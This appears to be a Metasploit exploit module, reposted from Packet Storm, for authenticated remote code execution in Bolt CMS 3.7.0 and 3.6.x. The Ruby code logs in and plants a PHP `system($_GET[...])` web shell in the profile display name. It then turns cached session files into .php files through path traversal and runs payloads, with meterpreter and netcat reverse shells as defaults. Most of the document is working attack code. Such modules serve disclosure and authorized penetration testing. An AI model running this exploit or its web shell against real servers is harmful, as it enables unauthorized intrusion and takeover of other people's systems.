Bolt CMS 3.7.0 Authenticated Remote Code Execution ≈ Packet Storm

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Bolt CMS 3.7.0 - Authenticated Remote Code Execution',
'Description' => %q{
This module exploits multiple vulnerabilities in Bolt CMS version 3.7.0
and 3.6.* in order to execute arbitrary commands as the user running Bolt.

This module first takes advantage of a vulnerability that allows an
authenticated user to change the username in /bolt/profile to a PHP
`system($_GET[""])` variable. Next, the module obtains a list of tokens
from `/async/browse/cache/.sessions` and uses these to create files with
the blacklisted `.php` extention via HTTP POST requests to
`/async/folder/rename`. For each created file, the module checks the HTTP
response for evidence that the file can be used to execute arbitrary
commands via the created PHP $_GET variable. If the response is negative,
the file is deleted, otherwise the payload is executed via an HTTP
get request in this format: `/files/<rogue_PHP_file>?<$_GET_var>=<payload>`

Valid credentials for a Bolt CMS user are required. This module has been
successfully tested against Bolt CMS 3.7.0 running on CentOS 7.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Sivanesh Ashok', # Discovery
'r3m0t3nu11', # PoC
'Erik Wynter' # @wyntererik - Metasploit
],
'References' =>
[
['EDB', '48296'],
['URL', 'https://github.com/bolt/bolt/releases/tag/3.7.1'] # Bolt CMS 3.7.1 release info mentioning this issue and the discovery by Sivanesh Ashok
],
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
'Targets' =>
[
[
'Linux (x86)', {
'Arch' => ARCH_X86,
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
}
}
],
[
'Linux (x64)', {
'Arch' => ARCH_X64,
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'Linux (cmd)', {
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat'
}
}
]
],
'Privileged' => false,
'DisclosureDate' => '2020-05-07', # this the date a patch was released, since the disclosure data is not known at this time
'DefaultOptions' => {
'RPORT' => 8000,
'WfsDelay' => 5
},
'DefaultTarget' => 2,
'Notes' => {
'NOCVE' => '0day',
'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
}
)
)

register_options [
OptString.new('TARGETURI', [true, 'Base path to Bolt CMS', '/']),
OptString.new('USERNAME', [true, 'Username to authenticate with', false]),
OptString.new('PASSWORD', [true, 'Password to authenticate with', false]),
OptString.new('FILE_TRAVERSAL_PATH', [true, 'Traversal path from "/files" on the web server to "/root" on the server', '../../../public/files'])
]
end

def check
# obtain token and cookie required for login
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'bolt', 'login')

return CheckCode::Unknown('Connection failed') unless res

unless res.code == 200 && res.body.include?('Sign in to Bolt')
return CheckCode::Safe('Target is not a Bolt CMS application.')
end

html = res.get_html_document
token = html.at('input[@id="user_login__token"]')['value']
cookie = res.get_cookies

# perform login
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'bolt', 'login'),
'cookie' => cookie,
'vars_post' => {
'user_login[username]' => datastore['USERNAME'],
'user_login[password]' => datastore['PASSWORD'],
'user_login[login]' => '',
'user_login[_token]' => token
}
})

return CheckCode::Unknown('Connection failed') unless res

unless res.code == 302 && res.body.include?('Redirecting to /bolt')
return CheckCode::Unknown('Failed to authenticate to the server.')
end

@cookie = res.get_cookies
return unless @cookie

# visit profile page to obtain user_profile token and user email
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
'cookie' => @cookie
})

return CheckCode::Unknown('Connection failed') unless res

unless res.code == 200 && res.body.include?('<title>Profile')
return CheckCode::Unknown('Failed to authenticate to the server.')
end

html = res.get_html_document

@email = html.at('input[@type="email"]')['value'] # this is used later to revert all changes to the user profile
unless @email # create fake email if this value is not found
@email = Rex::Text.rand_text_alpha_lower(5..8)
@email << "@#{@email}."
@email << Rex::Text.rand_text_alpha_lower(2..3)
print_error("Failed to obtain user email. Using #{@email} instead. This will be visible on the user profile.")
end

@profile_token = html.at('input[@id="user_profile__token"]')['value'] # this is needed to rename the user (below)

if !@profile_token || @profile_token.to_s.empty?
return CheckCode::Unknown('Authentication failure.')
end

# change user profile to a php $_GET variable
@php_var_name = Rex::Text.rand_text_alpha_lower(4..6)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
'cookie' => @cookie,
'vars_post' => {
'user_profile[password][first]' => datastore['PASSWORD'],
'user_profile[password][second]' => datastore['PASSWORD'],
'user_profile[email]' => @email,
'user_profile[displayname]' => "<?php system($_GET['#{@php_var_name}']);?>",
'user_profile[save]' => '',
'user_profile[_token]' => @profile_token
}
})

return CheckCode::Unknown('Connection failed') unless res

# visit profile page again to verify the changes
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
'cookie' => @cookie
})

return CheckCode::Unknown('Connection failed') unless res

unless res.code == 200 && res.body.include?("php system($_GET['#{@php_var_name}&#039")
return CheckCode::Unknown('Authentication failure.')
end

CheckCode::Vulnerable("Successfully changed the /bolt/profile username to PHP $_GET variable \"#{@php_var_name}\".")
end

def exploit
# NOTE: Automatic check is implemented by the AutoCheck mixin
super

csrf
unless @csrf_token && !@csrf_token.empty?
fail_with Failure::NoAccess, 'Failed to obtain CSRF token'
end
vprint_status("Found CSRF token: #{@csrf_token}")

file_tokens = obtain_cache_tokens
unless file_tokens && !file_tokens.empty?
fail_with Failure::NoAccess, 'Failed to obtain tokens for creating .php files.'
end
print_status("Found #{file_tokens.length} potential token(s) for creating .php files.")

token_results = try_tokens(file_tokens)
unless token_results && !token_results.empty?
fail_with Failure::NoAccess, 'Failed to create a .php file that can be used for RCE. This may happen on occasion. You can try rerunning the module.'
end

valid_token = token_results[0]
@rogue_file = token_results[1]

print_good("Used token #{valid_token} to create #{@rogue_file}.")
if target.arch.first == ARCH_CMD
execute_command(payload.encoded)
else
execute_cmdstager
end
end

def csrf
# visit /bolt/overview/showcases to get csrf token
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bolt', 'overview', 'showcases'),
'cookie' => @cookie
})

fail_with Failure::Unreachable, 'Connection failed' unless res

unless res.code == 200 && res.body.include?('Showcases')
fail_with Failure::NoAccess, 'Failed to obtain CSRF token'
end

html = res.get_html_document
@csrf_token = html.at('div[@class="buic-listing"]')['data-bolt_csrf_token']
end

def obtain_cache_tokens
# obtain tokens for creating rogue .php files from cache
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'async', 'browse', 'cache', '.sessions'),
'cookie' => @cookie
})

fail_with Failure::Unreachable, 'Connection failed' unless res

unless res.code == 200 && res.body.include?('entry disabled')
fail_with Failure::NoAccess, 'Failed to obtain file impersonation tokens'
end

html = res.get_html_document
entries = html.search('tr')
tokens = []
entries.each do |e|
token = e.at('span[@class="entry disabled"]').text.strip
size = e.at('div[@class="filesize"]')['title'].strip.split(' ')[0]
tokens.append(token) if size.to_i >= 2000
end

tokens
end

def try_tokens(file_tokens)
# create .php files and check if any of them can be used for RCE via the username $_GET variable
file_tokens.each do |token|
file_path = datastore['FILE_TRAVERSAL_PATH'].chomp('/') # remove trailing `/` in case present
file_name = Rex::Text.rand_text_alpha_lower(8..12)
file_name << '.php'

# use token to create rogue .php file by 'renaming' a file from cache
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'async', 'folder', 'rename'),
'cookie' => @cookie,
'vars_post' => {
'namespace' => 'root',
'parent' => '/app/cache/.sessions',
'oldname' => token,
'newname' => "#{file_path}/#{file_name}",
'token' => @csrf_token
}
})

fail_with Failure::Unreachable, 'Connection failed' unless res

next unless res.code == 200 && res.body.include?(file_name)

# check if .php file contains an empty `displayname` value. If so, cmd execution should work.
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'files', file_name),
'cookie' => @cookie
})

fail_with Failure::Unreachable, 'Connection failed' unless res

# the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number
unless res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)
delete_file(file_name)
next
end

return token, file_name
end

nil
end

def execute_command(cmd, _opts = {})
if target.arch.first == ARCH_CMD
print_status("Attempting to execute the payload via \"/files/#{@rogue_file}?#{@php_var_name}=`payload`\"")
end

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'files', @rogue_file),
'cookie' => @cookie,
'vars_get' => { @php_var_name => "(#{cmd}) > /dev/null &" } # HACK: Don't block on stdout
}, 3.5)

# the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number
unless res && res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)
print_warning('No response, may have executed a blocking payload!')
return
end

print_good('Payload executed!')
end

def cleanup
super

# delete rogue .php file used for execution (if present)
delete_file(@rogue_file) if @rogue_file

return unless @profile_token

# change user profile back to original
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
'cookie' => @cookie,
'vars_post' => {
'user_profile[password][first]' => datastore['PASSWORD'],
'user_profile[password][second]' => datastore['PASSWORD'],
'user_profile[email]' => @email,
'user_profile[displayname]' => datastore['USERNAME'].to_s,
'user_profile[save]' => '',
'user_profile[_token]' => @profile_token
}
})

unless res
print_warning('Failed to revert user profile back to original state.')
return
end

# visit profile page again to verify the changes
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
'cookie' => @cookie
})

unless res && res.code == 200 && res.body.include?(datastore['USERNAME'].to_s)
print_warning('Failed to revert user profile back to original state.')
end

print_good('Reverted user profile back to original state.')
end

def delete_file(file_name)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'async', 'file', 'delete'),
'cookie' => @cookie,
'vars_post' => {
'namespace' => 'files',
'filename' => file_name,
'token' => @csrf_token
}
})

unless res && res.code == 200 && res.body.include?(file_name)
print_warning("Failed to delete file #{file_name}. Manual cleanup required.")
end

print_good("Deleted file #{file_name}.")
end

end